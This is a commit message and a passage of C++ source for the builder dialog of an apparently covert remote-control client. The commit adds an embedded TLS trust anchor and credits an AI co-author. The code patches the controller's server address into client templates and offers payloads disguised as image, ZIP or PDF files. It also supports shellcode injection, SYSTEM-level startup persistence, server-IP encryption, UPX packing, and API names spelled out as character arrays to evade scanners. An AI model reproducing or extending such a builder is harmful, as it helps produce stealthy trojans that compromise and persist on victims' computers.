When the server has TLS enabled, the builder can now bake its certificate into the client it produces, so a distributed client speaks TLS on its very first connection instead of waiting for the anchor to be pushed after a plaintext login. The dialog gets a checkbox (IDC_CHECK_TLS_ANCHOR) that is only enabled for payloads and protocols where an embedded anchor makes sense; the choice is remembered even when the control flips to disabled and back, so switching protocols cannot silently undo a deliberate opt-out. Every label variant stays short enough to fit the 196 DLU field, including the German ones. A template that predates the anchor block no longer aborts generation: it warns, clears the checkbox and produces a plain client, so a master upgraded without rebuilding the ghost/ServerDll resources does not block every build. The certificate lands in a fixed 4 KiB block (magic, version, length, FNV-1a hash, master address, PEM) carved out of the payload at build time. The client reads its trust anchor from four sources in order: the tls_disabled marker, the certificate the server pushed into the registry, a PEM file next to the executable, and finally the embedded block. The embedded block only applies to a connection whose target matches the master recorded at generation time, compared as an address set: an exact string match when only one address is configured, or an intersection of resolved IPv4 addresses otherwise. A transferred, shared or parallel instance falls back to the old plaintext first-connect path instead of pinning itself to a certificate it can never verify. That decision is made per connection, not per process: shared and parallel instances are threads inside a single client process, so a process-wide flag let whichever instance connected first decide for all of them, and the first load of the TLS state cached that answer for good. The TLS layer now keeps two cached states (embedded anchor allowed, and not allowed), picks one per handshake, and reports the anchor source of that handshake for the login capability bit. Matching by resolved address also keeps parallel mode working, where the connection goes to the single IP the domain pool selected while the configured master is a domain or a list. Server side, generated and updated payloads get the block written in place; the client reports the capability bit on login so the console can tell which hosts are already TLS-only on first connect. Loading the anchor decodes every PEM block in the chain rather than just the leaf, and an anchor that exists but fails to load keeps the old fail-closed behaviour. A pushed anchor only reconnects when the transport of the live connection actually changes, judged against that connection's own target rather than the process-wide switch. This was verified end to end against a freshly generated client with an empty registry: the first connection was a TLS 1.2 ClientHello 0.2 s after start, and a four-certificate fullchain loaded all four blocks. Re-verified after the per-connection rework with the anchor block patched into a debug client: with a matching master the first bytes are a ClientHello, with a foreign master the client logs the skip and sends plaintext, and a domain master resolves to the IP it connects to and still matches. A master domain that no longer resolves falls back to plaintext within a second and is not looked up again for a minute, instead of stalling every reconnect on a DNS timeout while holding the lock the certificate verification needs. Co-Authored-By: deepseek-flash
1322 lines
56 KiB
C++
1322 lines
56 KiB
C++
// BuildDlg.cpp : 实现文件
|
||
//
|
||
|
||
#include "stdafx.h"
|
||
#include "2015Remote.h"
|
||
#include "BuildDlg.h"
|
||
#include "2015RemoteDlg.h"
|
||
#include "afxdialogex.h"
|
||
#include <io.h>
|
||
#include "InputDlg.h"
|
||
#include <bcrypt.h>
|
||
#include <wincrypt.h>
|
||
#include <Shlwapi.h>
|
||
#pragma comment(lib, "Shlwapi.lib")
|
||
#include "Resource.h"
|
||
#include "EmbeddedAnchor.h"
|
||
#include "ServerTlsSession.h"
|
||
extern "C" {
|
||
#include "client/reg_startup.h"
|
||
}
|
||
// #include <ntstatus.h>
|
||
|
||
enum Index {
|
||
IndexTestRun_DLL,
|
||
IndexTestRun_MemDLL,
|
||
IndexTestRun_InjSC,
|
||
IndexGhost,
|
||
IndexServerDll,
|
||
IndexTinyRun,
|
||
IndexGhostMsc,
|
||
IndexTestRunMsc,
|
||
IndexLinuxGhost,
|
||
IndexMacGhost,
|
||
IndexAndroidGhost,
|
||
IndexGhostSystem,
|
||
IndexTestRunSystem,
|
||
OTHER_ITEM
|
||
};
|
||
|
||
enum Payload {
|
||
Payload_Self,
|
||
Payload_Raw,
|
||
Payload_BMP,
|
||
Payload_JPG,
|
||
Payload_PNG,
|
||
Payload_ZIP,
|
||
Payload_PDF,
|
||
};
|
||
|
||
// CBuildDlg 对话框
|
||
|
||
IMPLEMENT_DYNAMIC(CBuildDlg, CDialog)
|
||
|
||
std::string GetMasterId();
|
||
|
||
std::string GetPwdHash();
|
||
|
||
int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize);
|
||
|
||
// 获取程序目录下 res 子目录的路径
|
||
static CString GetResDirectoryPath()
|
||
{
|
||
TCHAR szPath[MAX_PATH];
|
||
GetModuleFileName(NULL, szPath, MAX_PATH);
|
||
PathRemoveFileSpec(szPath);
|
||
PathAppend(szPath, _T("res"));
|
||
return CString(szPath);
|
||
}
|
||
|
||
// 从外部文件读取资源(优先级高于内嵌资源)
|
||
static LPBYTE ReadResourceFromFile(const char* resName, DWORD &dwSize)
|
||
{
|
||
if (!resName || !resName[0]) {
|
||
return NULL;
|
||
}
|
||
|
||
CString resDir = GetResDirectoryPath();
|
||
CString filePath;
|
||
filePath.Format(_T("%s\\%hs"), (LPCTSTR)resDir, resName);
|
||
|
||
// 检查文件是否存在
|
||
if (GetFileAttributes(filePath) == INVALID_FILE_ATTRIBUTES) {
|
||
return NULL;
|
||
}
|
||
|
||
// 打开文件
|
||
HANDLE hFile = CreateFile(filePath, GENERIC_READ, FILE_SHARE_READ, NULL,
|
||
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||
if (hFile == INVALID_HANDLE_VALUE) {
|
||
return NULL;
|
||
}
|
||
|
||
// 获取文件大小
|
||
LARGE_INTEGER fileSize;
|
||
if (!GetFileSizeEx(hFile, &fileSize) || fileSize.QuadPart == 0) {
|
||
CloseHandle(hFile);
|
||
return NULL;
|
||
}
|
||
|
||
// 分配内存并读取文件
|
||
dwSize = (DWORD)fileSize.QuadPart;
|
||
LPBYTE buffer = new BYTE[dwSize];
|
||
DWORD bytesRead = 0;
|
||
if (!ReadFile(hFile, buffer, dwSize, &bytesRead, NULL) || bytesRead != dwSize) {
|
||
delete[] buffer;
|
||
CloseHandle(hFile);
|
||
dwSize = 0;
|
||
return NULL;
|
||
}
|
||
|
||
CloseHandle(hFile);
|
||
return buffer;
|
||
}
|
||
|
||
// 从内嵌资源读取
|
||
static LPBYTE ReadResourceFromEmbedded(int resourceId, DWORD &dwSize)
|
||
{
|
||
dwSize = 0;
|
||
HRSRC hResource = FindResourceA(NULL, MAKEINTRESOURCE(resourceId), "BINARY");
|
||
if (hResource == NULL) {
|
||
return NULL;
|
||
}
|
||
// 获取资源的大小
|
||
dwSize = SizeofResource(NULL, hResource);
|
||
|
||
// 加载资源
|
||
HGLOBAL hLoadedResource = LoadResource(NULL, hResource);
|
||
if (hLoadedResource == NULL) {
|
||
return NULL;
|
||
}
|
||
// 锁定资源并获取指向资源数据的指针
|
||
LPVOID pData = LockResource(hLoadedResource);
|
||
if (pData == NULL) {
|
||
return NULL;
|
||
}
|
||
auto r = new BYTE[dwSize];
|
||
memcpy(r, pData, dwSize);
|
||
|
||
return r;
|
||
}
|
||
|
||
// 读取资源:优先从 res 目录读取外部文件,如果不存在则使用内嵌资源
|
||
// resName: 外部文件名(如 "ghost_x64.exe"),为空时直接使用内嵌资源
|
||
LPBYTE ReadResource(int resourceId, DWORD &dwSize, const char* resName)
|
||
{
|
||
dwSize = 0;
|
||
|
||
// 1. 优先尝试从 res 目录读取外部文件
|
||
if (resName && resName[0]) {
|
||
LPBYTE data = ReadResourceFromFile(resName, dwSize);
|
||
if (data) {
|
||
return data;
|
||
}
|
||
}
|
||
|
||
// 2. 回退到内嵌资源
|
||
return ReadResourceFromEmbedded(resourceId, dwSize);
|
||
}
|
||
|
||
// ========== res 目录外部资源文件名定义 ==========
|
||
// 命名规范:<模块名>_<架构>.exe/.dll/.bin
|
||
// 架构:x86 / x64 / linux / macos
|
||
namespace ResFileName {
|
||
// Ghost 主程序
|
||
const char* GHOST_X86 = "ghost_x86.exe";
|
||
const char* GHOST_X64 = "ghost_x64.exe";
|
||
const char* GHOST_LINUX = "ghost_linux";
|
||
const char* GHOST_MACOS = "ghost_macos";
|
||
const char* GHOST_ANDROID = "ghost_android";
|
||
// TestRun 加载器
|
||
const char* TESTRUN_X86 = "testrun_x86.dll";
|
||
const char* TESTRUN_X64 = "testrun_x64.dll";
|
||
// ServerDll
|
||
const char* SERVERDLL_X86 = "serverdll_x86.dll";
|
||
const char* SERVERDLL_X64 = "serverdll_x64.dll";
|
||
// TinyRun
|
||
const char* TINYRUN_X86 = "tinyrun_x86.exe";
|
||
const char* TINYRUN_X64 = "tinyrun_x64.exe";
|
||
// SCLoader (Shellcode加载器)
|
||
const char* SCLOADER_X86 = "scloader_x86.bin";
|
||
const char* SCLOADER_X64 = "scloader_x64.bin";
|
||
const char* SCLOADER_X86_OLD = "scloader_old_x86.bin";
|
||
const char* SCLOADER_X64_OLD = "scloader_old_x64.bin";
|
||
// FRP 相关 (无架构区分,64位DLL)
|
||
const char* FRPC_DLL = "frpc.dll";
|
||
const char* FRPS_DLL = "frps.dll";
|
||
// 工具
|
||
const char* UPX_EXE = "upx.exe";
|
||
const char* RCEDIT_EXE = "rcedit.exe";
|
||
}
|
||
|
||
CString GenerateRandomName(int nLength)
|
||
{
|
||
if (nLength <= 0) nLength = 8;
|
||
|
||
static const TCHAR szChars[] = _T("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789");
|
||
static const int nCharsCount = _countof(szChars) - 1;
|
||
|
||
static bool bSeeded = false;
|
||
if (!bSeeded) {
|
||
srand((unsigned)time(NULL));
|
||
bSeeded = true;
|
||
}
|
||
|
||
CString strName;
|
||
LPTSTR pBuf = strName.GetBuffer(nLength);
|
||
|
||
for (int i = 0; i < nLength; i++) {
|
||
pBuf[i] = szChars[rand() % nCharsCount];
|
||
}
|
||
|
||
strName.ReleaseBuffer(nLength);
|
||
return strName;
|
||
}
|
||
|
||
CBuildDlg::CBuildDlg(CWnd* pParent)
|
||
: CDialogLang(CBuildDlg::IDD, pParent)
|
||
, m_strIP(_T(""))
|
||
, m_strPort(_T(""))
|
||
, m_strFindden(FLAG_FINDEN)
|
||
, m_sGroupName(_T("default"))
|
||
, m_strEncryptIP(_L(_T("是")))
|
||
, m_sInstallDir(_T(""))
|
||
, m_sInstallName(_T(""))
|
||
, m_sDownloadUrl(_T(""))
|
||
, m_nAnchorUserCheck(-1)
|
||
{
|
||
|
||
}
|
||
|
||
CBuildDlg::~CBuildDlg()
|
||
{
|
||
}
|
||
|
||
void CBuildDlg::DoDataExchange(CDataExchange* pDX)
|
||
{
|
||
__super::DoDataExchange(pDX);
|
||
DDX_Text(pDX, IDC_EDIT_IP, m_strIP);
|
||
DDX_Text(pDX, IDC_EDIT_PORT, m_strPort);
|
||
DDX_Control(pDX, IDC_COMBO_EXE, m_ComboExe);
|
||
DDX_Control(pDX, IDC_STATIC_OTHER_ITEM, m_OtherItem);
|
||
DDX_Control(pDX, IDC_COMBO_BITS, m_ComboBits);
|
||
DDX_Control(pDX, IDC_COMBO_RUNTYPE, m_ComboRunType);
|
||
DDX_Control(pDX, IDC_COMBO_PROTO, m_ComboProto);
|
||
DDX_Control(pDX, IDC_COMBO_ENCRYPT, m_ComboEncrypt);
|
||
DDX_Control(pDX, IDC_COMBO_COMPRESS, m_ComboCompress);
|
||
DDX_Control(pDX, IDC_EDIT_GROUPNAME, m_EditGroup);
|
||
DDX_Text(pDX, IDC_EDIT_GROUPNAME, m_sGroupName);
|
||
DDV_MaxChars(pDX, m_sGroupName, 23);
|
||
DDX_Control(pDX, IDC_COMBO_PAYLOAD, m_ComboPayload);
|
||
DDX_Control(pDX, IDC_STATIC_PAYLOAD, m_StaticPayload);
|
||
DDX_Control(pDX, IDC_SLIDER_CLIENT_SIZE, m_SliderClientSize);
|
||
DDX_Control(pDX, IDC_EDIT_INSTALL_DIR, m_EditInstallDir);
|
||
DDX_Control(pDX, IDC_EDIT_INSTALL_NAME, m_EditInstallName);
|
||
DDX_Text(pDX, IDC_EDIT_INSTALL_DIR, m_sInstallDir);
|
||
DDV_MaxChars(pDX, m_sInstallDir, 31);
|
||
DDX_Text(pDX, IDC_EDIT_INSTALL_NAME, m_sInstallName);
|
||
DDV_MaxChars(pDX, m_sInstallName, 31);
|
||
DDX_Control(pDX, IDC_CHECK_FILESERVER, m_BtnFileServer);
|
||
DDX_Control(pDX, IDC_STATIC_DOWNLOAD, m_StaticDownload);
|
||
DDX_Control(pDX, IDC_EDIT_DOWNLOAD_URL, m_EditDownloadUrl);
|
||
DDX_Text(pDX, IDC_EDIT_DOWNLOAD_URL, m_sDownloadUrl);
|
||
DDV_MaxChars(pDX, m_sDownloadUrl, 255);
|
||
DDX_Control(pDX, IDC_COMBO_INSTALL_LOC, m_ComboLocation);
|
||
}
|
||
|
||
|
||
BEGIN_MESSAGE_MAP(CBuildDlg, CDialog)
|
||
ON_BN_CLICKED(IDOK, &CBuildDlg::OnBnClickedOk)
|
||
ON_CBN_SELCHANGE(IDC_COMBO_EXE, &CBuildDlg::OnCbnSelchangeComboExe)
|
||
ON_COMMAND(ID_HELP_PARAMETERS, &CBuildDlg::OnHelpParameters)
|
||
ON_COMMAND(ID_HELP_FINDDEN, &CBuildDlg::OnHelpFindden)
|
||
ON_COMMAND(ID_MENU_ENCRYPT_IP, &CBuildDlg::OnMenuEncryptIp)
|
||
ON_COMMAND(ID_CLIENT_RUNAS_ADMIN, &CBuildDlg::OnClientRunasAdmin)
|
||
ON_CBN_SELCHANGE(IDC_COMBO_COMPRESS, &CBuildDlg::OnCbnSelchangeComboCompress)
|
||
ON_NOTIFY_EX(TTN_NEEDTEXT, 0, &CBuildDlg::OnToolTipNotify)
|
||
ON_EN_CHANGE(IDC_EDIT_INSTALL_DIR, &CBuildDlg::OnEnChangeEditInstallDir)
|
||
ON_EN_CHANGE(IDC_EDIT_INSTALL_NAME, &CBuildDlg::OnEnChangeEditInstallName)
|
||
ON_EN_KILLFOCUS(IDC_EDIT_INSTALL_DIR, &CBuildDlg::OnEnKillfocusEditInstallDir)
|
||
ON_EN_KILLFOCUS(IDC_EDIT_INSTALL_NAME, &CBuildDlg::OnEnKillfocusEditInstallName)
|
||
ON_COMMAND(ID_RANDOM_NAME, &CBuildDlg::OnRandomName)
|
||
ON_BN_CLICKED(IDC_CHECK_FILESERVER, &CBuildDlg::OnBnClickedCheckFileserver)
|
||
ON_CBN_SELCHANGE(IDC_COMBO_PAYLOAD, &CBuildDlg::OnCbnSelchangeComboPayload)
|
||
ON_CBN_SELCHANGE(IDC_COMBO_PROTO, &CBuildDlg::OnCbnSelchangeComboProto)
|
||
ON_BN_CLICKED(IDC_CHECK_TLS_ANCHOR, &CBuildDlg::OnBnClickedCheckTlsAnchor)
|
||
END_MESSAGE_MAP()
|
||
|
||
|
||
// CBuildDlg 消息处理程序
|
||
|
||
std::string ReleaseUPX();
|
||
void run_upx_async(HWND hwnd, const std::string& upx, const std::string& file, bool isCompress);
|
||
|
||
bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuffer,
|
||
int ulOriginalLength, bool align = false);
|
||
|
||
BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size, LONGLONG offset = 0);
|
||
|
||
std::string ReleaseEXE(int resID, const char* name, const char* resName)
|
||
{
|
||
DWORD dwSize = 0;
|
||
LPBYTE data = ReadResource(resID, dwSize, resName);
|
||
if (!data)
|
||
return "";
|
||
|
||
char path[MAX_PATH];
|
||
DWORD len = GetModuleFileNameA(NULL, path, MAX_PATH);
|
||
std::string curExe = path;
|
||
GET_FILEPATH(path, name);
|
||
BOOL r = WriteBinaryToFile(path, (char*)data, dwSize);
|
||
SAFE_DELETE_ARRAY(data);
|
||
|
||
return r ? path : "";
|
||
}
|
||
|
||
typedef struct SCInfoOld {
|
||
unsigned char aes_key[16];
|
||
unsigned char aes_iv[16];
|
||
unsigned char data[8 * 1024 * 1024];
|
||
int len;
|
||
} SCInfoOld;
|
||
|
||
typedef struct SCInfo {
|
||
unsigned char aes_key[16];
|
||
unsigned char aes_iv[16];
|
||
unsigned char *data;
|
||
int len;
|
||
int offset;
|
||
char file[_MAX_PATH];
|
||
char targetDir[_MAX_PATH];
|
||
char downloadUrl[_MAX_PATH];
|
||
} SCInfo;
|
||
|
||
#define GetAddr(mod, name) GetProcAddress(GetModuleHandleA(mod), name)
|
||
|
||
bool MYLoadLibrary(const char* name)
|
||
{
|
||
char kernel[] = { 'k','e','r','n','e','l','3','2',0 };
|
||
char load[] = { 'L','o','a','d','L','i','b','r','a','r','y','A',0 };
|
||
typedef HMODULE(WINAPI* LoadLibraryF)(LPCSTR lpLibFileName);
|
||
if (!GetModuleHandleA(name)) {
|
||
LoadLibraryF LoadLibraryA = (LoadLibraryF)GetAddr(kernel, load);
|
||
return LoadLibraryA(name);
|
||
}
|
||
return true;
|
||
}
|
||
|
||
void generate_random_iv(unsigned char* iv, size_t len)
|
||
{
|
||
typedef HMODULE(WINAPI* LoadLibraryF)(LPCSTR lpLibFileName);
|
||
typedef NTSTATUS(WINAPI* BCryptGenRandomF)(BCRYPT_ALG_HANDLE, PUCHAR, ULONG, ULONG);
|
||
char crypt[] = { 'b','c','r','y','p','t',0 };
|
||
char name[] = { 'B','C','r','y','p','t','G','e','n','R','a','n','d','o','m',0 };
|
||
MYLoadLibrary(crypt);
|
||
BCryptGenRandomF BCryptGenRandom = (BCryptGenRandomF)GetAddr(crypt, name);
|
||
BCryptGenRandom(NULL, iv, len, BCRYPT_USE_SYSTEM_PREFERRED_RNG);
|
||
}
|
||
|
||
ULONGLONG GetFileSize(const char* path)
|
||
{
|
||
std::ifstream file(path, std::ios::binary | std::ios::ate);
|
||
|
||
if (!file) {
|
||
Mprintf("Failed to open file: %s.\n", path);
|
||
return 0;
|
||
}
|
||
|
||
ULONGLONG size = file.tellg();
|
||
file.close();
|
||
|
||
return size;
|
||
}
|
||
|
||
bool IsValidFileName(const CString& strName)
|
||
{
|
||
if (strName.IsEmpty()) return false;
|
||
|
||
// 检查非法字符
|
||
LPCTSTR szInvalidChars = _T("\\/:*?\"<>|");
|
||
if (strName.FindOneOf(szInvalidChars) != -1)
|
||
return false;
|
||
|
||
// 检查保留名称 (CON, PRN, AUX, NUL, COM1-9, LPT1-9)
|
||
CString strUpper = strName;
|
||
strUpper.MakeUpper();
|
||
int nDot = strUpper.Find(_T('.'));
|
||
CString strBase = (nDot != -1) ? strUpper.Left(nDot) : strUpper;
|
||
|
||
LPCTSTR szReserved[] = {
|
||
_T("CON"), _T("PRN"), _T("AUX"), _T("NUL"),
|
||
_T("COM1"), _T("COM2"), _T("COM3"), _T("COM4"), _T("COM5"),
|
||
_T("COM6"), _T("COM7"), _T("COM8"), _T("COM9"),
|
||
_T("LPT1"), _T("LPT2"), _T("LPT3"), _T("LPT4"), _T("LPT5"),
|
||
_T("LPT6"), _T("LPT7"), _T("LPT8"), _T("LPT9"), NULL
|
||
};
|
||
|
||
for (int i = 0; szReserved[i]; i++) {
|
||
if (strBase == szReserved[i])
|
||
return false;
|
||
}
|
||
|
||
// 不能以空格或点结尾
|
||
TCHAR chLast = strName[strName.GetLength() - 1];
|
||
if (chLast == _T(' ') || chLast == _T('.'))
|
||
return false;
|
||
|
||
return true;
|
||
}
|
||
|
||
CString BuildPayloadUrl(const char* ip, const char* name)
|
||
{
|
||
int port = THIS_CFG.GetInt("settings", "WebSvrPort", 8080);
|
||
CString url = CString("http://") + CString(ip) + ":" + std::to_string(port).c_str() + CString("/payloads/") + name;
|
||
return url;
|
||
}
|
||
|
||
void CBuildDlg::OnBnClickedOk()
|
||
{
|
||
UpdateData(TRUE);
|
||
if (m_strIP.IsEmpty() || atoi(m_strPort) <= 0)
|
||
return;
|
||
|
||
BYTE* szBuffer = NULL;
|
||
DWORD dwFileSize = 0;
|
||
int index = m_ComboExe.GetCurSel(), typ=index;
|
||
int is64bit = m_ComboBits.GetCurSel() == 0;
|
||
if (index == IndexTestRun_InjSC && !is64bit) {
|
||
MessageBoxL("Shellcode 只能向64位电脑注入,注入器也只能是64位!", "提示", MB_ICONWARNING);
|
||
return;
|
||
}
|
||
if (index == IndexLinuxGhost || index == IndexMacGhost || index == IndexAndroidGhost) {
|
||
m_ComboCompress.SetCurSel(CLIENT_COMPRESS_NONE);
|
||
m_SliderClientSize.SetPos(0);
|
||
}
|
||
int startup = Startup_DLL, installFlag = m_ComboLocation.GetCurSel();
|
||
CString file;
|
||
CString targetDir;
|
||
switch (index) {
|
||
case IndexTestRun_DLL:
|
||
case IndexTestRun_MemDLL:
|
||
case IndexTestRun_InjSC:
|
||
file = "TestRun.exe";
|
||
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Client Demo" : m_sInstallDir, installFlag);
|
||
typ = index == IndexTestRun_DLL ? CLIENT_TYPE_DLL : CLIENT_TYPE_MEMDLL;
|
||
startup = std::map<int, int> {
|
||
{IndexTestRun_DLL, Startup_DLL},{IndexTestRun_MemDLL, Startup_MEMDLL},{IndexTestRun_InjSC, Startup_InjSC},
|
||
} [index];
|
||
szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize,
|
||
is64bit ? ResFileName::TESTRUN_X64 : ResFileName::TESTRUN_X86);
|
||
break;
|
||
case IndexGhost:
|
||
file = "ghost.exe";
|
||
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Windows Ghost" : m_sInstallDir, installFlag);
|
||
typ = CLIENT_TYPE_ONE;
|
||
szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize,
|
||
is64bit ? ResFileName::GHOST_X64 : ResFileName::GHOST_X86);
|
||
break;
|
||
case IndexGhostMsc:
|
||
file = "ghost.exe";
|
||
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Windows Ghost" : m_sInstallDir, installFlag);
|
||
typ = CLIENT_TYPE_ONE;
|
||
startup = Startup_GhostMsc;
|
||
szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize,
|
||
is64bit ? ResFileName::GHOST_X64 : ResFileName::GHOST_X86);
|
||
break;
|
||
case IndexTestRunMsc:
|
||
file = "TestRun.exe";
|
||
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Client Demo" : m_sInstallDir, installFlag);
|
||
typ = CLIENT_TYPE_MEMDLL;
|
||
startup = Startup_TestRunMsc;
|
||
szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize,
|
||
is64bit ? ResFileName::TESTRUN_X64 : ResFileName::TESTRUN_X86);
|
||
break;
|
||
case IndexServerDll:
|
||
file = "ServerDll.dll";
|
||
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "ServerDll" : m_sInstallDir, installFlag);
|
||
typ = CLIENT_TYPE_DLL;
|
||
szBuffer = ReadResource(is64bit ? IDR_SERVERDLL_X64 : IDR_SERVERDLL_X86, dwFileSize,
|
||
is64bit ? ResFileName::SERVERDLL_X64 : ResFileName::SERVERDLL_X86);
|
||
break;
|
||
case IndexTinyRun:
|
||
file = "TinyRun.dll";
|
||
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "TinyRun" : m_sInstallDir, installFlag);
|
||
typ = CLIENT_TYPE_SHELLCODE;
|
||
szBuffer = ReadResource(is64bit ? IDR_TINYRUN_X64 : IDR_TINYRUN_X86, dwFileSize,
|
||
is64bit ? ResFileName::TINYRUN_X64 : ResFileName::TINYRUN_X86);
|
||
break;
|
||
case IndexLinuxGhost:
|
||
file = "ghost";
|
||
typ = CLIENT_TYPE_LINUX;
|
||
szBuffer = ReadResource(IDR_LINUX_GHOST, dwFileSize, ResFileName::GHOST_LINUX);
|
||
break;
|
||
case IndexMacGhost:
|
||
file = "ghost";
|
||
typ = CLIENT_TYPE_MACOS;
|
||
szBuffer = ReadResource(IDR_MACOS_GHOST, dwFileSize, ResFileName::GHOST_MACOS);
|
||
break;
|
||
case IndexAndroidGhost: {
|
||
file = "ghost.apk";
|
||
typ = CLIENT_TYPE_ANDROID;
|
||
szBuffer = ReadResource(IDR_ANDROID_GHOST, dwFileSize, ResFileName::GHOST_ANDROID);
|
||
break;
|
||
}
|
||
case IndexGhostSystem:
|
||
file = "ghost.exe";
|
||
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Windows Ghost" : m_sInstallDir, installFlag);
|
||
typ = CLIENT_TYPE_ONE;
|
||
startup = Startup_GhostSystem;
|
||
szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize,
|
||
is64bit ? ResFileName::GHOST_X64 : ResFileName::GHOST_X86);
|
||
break;
|
||
case IndexTestRunSystem:
|
||
file = "TestRun.exe";
|
||
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Client Demo" : m_sInstallDir, installFlag);
|
||
typ = CLIENT_TYPE_MEMDLL;
|
||
startup = Startup_TestRunSystem;
|
||
szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize,
|
||
is64bit ? ResFileName::TESTRUN_X64 : ResFileName::TESTRUN_X86);
|
||
break;
|
||
case OTHER_ITEM: {
|
||
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "YamaDll" : m_sInstallDir, installFlag);
|
||
m_OtherItem.GetWindowTextA(file);
|
||
typ = -1;
|
||
if (file != _TR("未选择文件")) {
|
||
CFile File;
|
||
File.Open(file, CFile::modeRead | CFile::typeBinary);
|
||
dwFileSize = File.GetLength();
|
||
if (dwFileSize > 0) {
|
||
szBuffer = new BYTE[dwFileSize];
|
||
File.Read(szBuffer, dwFileSize);
|
||
}
|
||
File.Close();
|
||
}
|
||
break;
|
||
}
|
||
default:
|
||
break;
|
||
}
|
||
if (szBuffer == NULL) {
|
||
MessageBoxL("出现内部错误,请检查输入,重新编译程序!", "提示", MB_ICONWARNING);
|
||
return;
|
||
}
|
||
//////////上线信息//////////////////////
|
||
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "", typ, false, DLL_VERSION, 0, startup, HeaderEncV0 };
|
||
if(m_strFindden.GetLength())
|
||
memcpy(g_ConnectAddress.szFlag, m_strFindden.GetBuffer(), min(sizeof(g_ConnectAddress.szFlag), m_strFindden.GetLength()));
|
||
g_ConnectAddress.SetAdminId(GetMasterHash().c_str());
|
||
g_ConnectAddress.SetServer(m_strIP, atoi(m_strPort));
|
||
g_ConnectAddress.runningType = m_ComboRunType.GetCurSel();
|
||
g_ConnectAddress.protoType = m_ComboProto.GetCurSel();
|
||
g_ConnectAddress.iHeaderEnc = m_ComboEncrypt.GetCurSel();
|
||
memcpy(g_ConnectAddress.pwdHash, GetPwdHash().c_str(), sizeof(g_ConnectAddress.pwdHash));
|
||
memcpy(g_ConnectAddress.szGroupName, m_sGroupName, m_sGroupName.GetLength());
|
||
memcpy(g_ConnectAddress.installDir, m_sInstallDir, m_sInstallDir.GetLength());
|
||
memcpy(g_ConnectAddress.installName, m_sInstallName, m_sInstallName.GetLength());
|
||
g_ConnectAddress.installFlag = installFlag;
|
||
|
||
if (!g_ConnectAddress.IsValid()) {
|
||
SAFE_DELETE_ARRAY(szBuffer);
|
||
return;
|
||
}
|
||
bool encrypt = m_strEncryptIP == _L(_T("是"));
|
||
if (encrypt && startup != Startup_InjSC && index != IndexTinyRun)
|
||
g_ConnectAddress.Encrypt();
|
||
if (m_runasAdmin)
|
||
g_ConnectAddress.runasAdmin = TRUE;
|
||
try {
|
||
// 更新标识
|
||
char* ptr = (char*)szBuffer, *end = (char*)szBuffer + dwFileSize;
|
||
bool bFind = false;
|
||
int bufSize = dwFileSize;
|
||
while (ptr < end) {
|
||
int iOffset = MemoryFind(ptr, (char*)g_ConnectAddress.Flag(), bufSize, g_ConnectAddress.FlagLen());
|
||
if (iOffset == -1)
|
||
break;
|
||
|
||
CONNECT_ADDRESS* dst = (CONNECT_ADDRESS*)(ptr + iOffset);
|
||
auto result = strlen(dst->szBuildDate) ? compareDates(dst->szBuildDate, g_ConnectAddress.szBuildDate) : -1;
|
||
if (result > 0) {
|
||
MessageBoxL(_TR("客户端版本比主控程序更高, 无法生成!") + "\r\n" + file, "提示", MB_ICONWARNING);
|
||
return;
|
||
}
|
||
if (result != -2 && result <= 0) { // 客户端版本不能不大于主控端
|
||
bFind = true;
|
||
auto master = GetMasterId();
|
||
memcpy(ptr + iOffset, &(g_ConnectAddress.ModifyFlag(master.c_str())), sizeof(g_ConnectAddress));
|
||
}
|
||
ptr += iOffset + sizeof(g_ConnectAddress);
|
||
bufSize -= iOffset + sizeof(g_ConnectAddress);
|
||
}
|
||
if (!bFind) {
|
||
MessageBoxL(_TR("出现内部错误,未能找到标识信息!") + "\r\n" + file, "提示", MB_ICONWARNING);
|
||
SAFE_DELETE_ARRAY(szBuffer);
|
||
return;
|
||
}
|
||
|
||
// 内嵌 TLS 信任锚:让这批客户端首连即 TLS,不必等主控在线下发(设计文档 §3.3)。
|
||
// 位置很关键——锚块与 CONNECT_ADDRESS 走同一条字节搬运路径,写在这里之后,
|
||
// 下面的 UPX / ShellCode / PE 伪装都会把它原样带进最终产物。
|
||
// 写了一半失败一律放弃生成:半截的锚会让客户端进 fail-closed 且没有恢复通道。
|
||
// 特例是 NoBlock——模板里根本没有锚块,一个字节都没动,产物与「没这个特性」的
|
||
// 客户端完全一样。升级主控后忘了重编 ghost/ServerDll 资源时每次生成都会被默认
|
||
// 勾选挡下(复选框没表过态就是勾着的),所以这里只提示 + 取消勾选,照常生成。
|
||
DWORD anchorLen = 0;
|
||
if (m_ChkTlsAnchor.GetSafeHwnd() && m_ChkTlsAnchor.IsWindowEnabled() &&
|
||
m_ChkTlsAnchor.GetCheck() == BST_CHECKED) {
|
||
std::string anchorErr;
|
||
EmbedResult embed = EmbedTlsAnchorInto(szBuffer, dwFileSize, m_strIP.GetString(),
|
||
anchorLen, anchorErr);
|
||
if (embed == EmbedResult::NoBlock) {
|
||
MessageBoxL(_TR("提示: 客户端模板里没有内嵌锚块,本次按普通客户端生成;"
|
||
